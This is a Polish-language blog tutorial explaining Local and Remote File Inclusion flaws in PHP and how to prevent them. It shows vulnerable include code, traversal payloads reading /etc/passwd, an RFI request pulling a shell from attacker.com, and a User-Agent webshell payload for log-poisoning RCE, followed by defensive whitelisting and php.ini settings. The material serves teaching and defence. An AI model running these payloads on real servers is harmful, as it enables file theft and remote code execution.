LFI i RFI – Wykorzystanie Lokalnego i Zdalnego Dołączania Plików w Atakach Cybernetycznych
Cyberbezpieczeństwo Hacking

LFI i RFI – Wykorzystanie Lokalnego i Zdalnego Dołączania Plików w Atakach Cybernetycznych

📂 LFI i RFI – Wykorzystanie Lokalnego i Zdalnego Dołączania Plików w Atakach Cybernetycznych

🔍 Czym są LFI i RFI?

LFI (Local File Inclusion) oraz RFI (Remote File Inclusion) to podatności typu „file inclusion”, które pozwalają atakującemu na wczytanie pliku (lokalnego lub zdalnego) do wykonania w kontekście aplikacji internetowej. Obie luki występują wtedy, gdy aplikacja przetwarza nazwę pliku jako niezabezpieczony parametr wejściowy i bez walidacji dołącza go do swojego kodu.


🔓 LFI – Local File Inclusion

W przypadku LFI, atakujący może zażądać od aplikacji dołączenia pliku z lokalnego systemu serwera (np. /etc/passwd, C:\boot.ini).

💣 Przykład LFI w PHP:

<?php
  $page = $_GET['page'];
  include($page . ".php");
?>

🔗 Zapytanie:

http://example.com/?page=../../../../etc/passwd

📄 Skutek: Wyświetlenie zawartości krytycznego pliku systemowego.


🌐 RFI – Remote File Inclusion

RFI umożliwia dołączenie zewnętrznego pliku z Internetu (np. skryptu PHP), który zostaje uruchomiony na serwerze.

💣 Przykład RFI:

<?php
  $page = $_GET['page'];
  include($page);
?>

🔗 Zapytanie:

http://example.com/?page=http://attacker.com/shell.txt

📄 Skutek: Kod z attacker.com/shell.txt zostaje wykonany z uprawnieniami serwera!

LFI i RFI – Wykorzystanie Lokalnego i Zdalnego Dołączania Plików w Atakach Cybernetycznych
LFI i RFI – Wykorzystanie Lokalnego i Zdalnego Dołączania Plików w Atakach Cybernetycznych

⚠️ Typowe skutki ataków LFI/RFI:

  • 🔍 Odczyt ważnych plików systemowych (np. wp-config.php, .env, passwd, shadow)
  • 🧠 Zbieranie informacji o środowisku serwera (np. logi)
  • 💣 Zdalne wykonanie kodu (RCE) – np. przez logi zawierające payloady
  • 🐚 Instalacja backdoora lub webshella
  • 🚨 Przygotowanie do eskalacji uprawnień
Czytaj  SELinux w Androidzie: Czy polityka kontroli dostępu jest wystarczająco restrykcyjna? Jak mechanizmy zabezpieczeń mogą zostać ominięte

📁 LFI + Log Injection = RCE

Atakujący może wstrzyknąć złośliwy kod do logów serwera (np. przez User-Agent), a następnie wykorzystać LFI do wczytania pliku loga.

🔹 Wstrzyknięcie:

User-Agent: <?php system($_GET['cmd']); ?>

🔹 Następnie:

http://example.com/?page=/var/log/apache2/access.log&cmd=id

🛠️ Narzędzia do wykrywania LFI/RFI

  • Burp Suite (fuzzing parametrów)
  • WFuzz – do automatycznego testowania ścieżek
  • Nikto – wykrywanie znanych luk
  • DotDotPwn – do testowania LFI (Path Traversal)
  • Commix / Metasploit – do eksploitacji i przejęcia systemu

🧪 Typowe Payloady do testowania LFI

../../../../etc/passwd
..././..././..././etc/passwd
php://filter/convert.base64-encode/resource=index.php

🧰 Zabezpieczenia przed LFI/RFI

✅ Walidacja i ograniczenia ścieżek

  • Lista dozwolonych plików (whitelist), np. switch($page)
  • Blokada znaków typu ../, http://

✅ Wyłączenie zdalnego include’a w PHP:

W php.ini:

allow_url_include = Off
allow_url_fopen = Off

✅ Stosowanie pełnych ścieżek do plików:

Zamiast:

include($_GET['page']);

Użyj:

$allowed = ['home', 'contact', 'about'];
if (in_array($_GET['page'], $allowed)) {
    include("/var/www/html/pages/" . $_GET['page'] . ".php");
}

✅ Odseparowanie systemu plików

  • Konteneryzacja aplikacji (np. Docker)
  • Brak dostępu aplikacji do krytycznych ścieżek systemowych

🧠 Podsumowanie

LFI i RFI to jedne z najstarszych i nadal aktywnie wykorzystywanych luk w aplikacjach webowych. Ich konsekwencje są ogromne – od kradzieży danych po całkowite przejęcie systemu przez atakującego.

🔐 Nawet prosty błąd braku walidacji może zakończyć się kompromitacją serwera. Dlatego testy bezpieczeństwa, walidacja wejścia, oraz dobrze zaprojektowana architektura aplikacji to klucz do zabezpieczenia przed tymi atakami.

Polecane wpisy
Ataki typu Watering Hole – jak hakerzy czekają na ofiarę w znanym miejscu
Ataki typu Watering Hole – jak hakerzy czekają na ofiarę w znanym miejscu

🌐 Ataki typu Watering Hole – jak hakerzy czekają na ofiarę w znanym miejscu 🧠 Czym jest atak typu Watering Czytaj dalej

Jak chronić swoją prywatność w internecie?
Jak chronić swoją prywatność w internecie?

Jak chronić swoją prywatność w internecie? W dzisiejszych czasach, kiedy korzystanie z internetu stało się nieodłączną częścią życia codziennego, ochrona Czytaj dalej

Marek "Netbe" Lampart Inżynier informatyki Marek Lampart to doświadczony inżynier informatyki z ponad 25-letnim stażem w zawodzie. Specjalizuje się w systemach Windows i Linux, bezpieczeństwie IT, cyberbezpieczeństwie, administracji serwerami oraz diagnostyce i optymalizacji systemów. Na netbe.pl publikuje praktyczne poradniki, analizy i instrukcje krok po kroku, pomagając administratorom, specjalistom IT oraz zaawansowanym użytkownikom rozwiązywać realne problemy techniczne.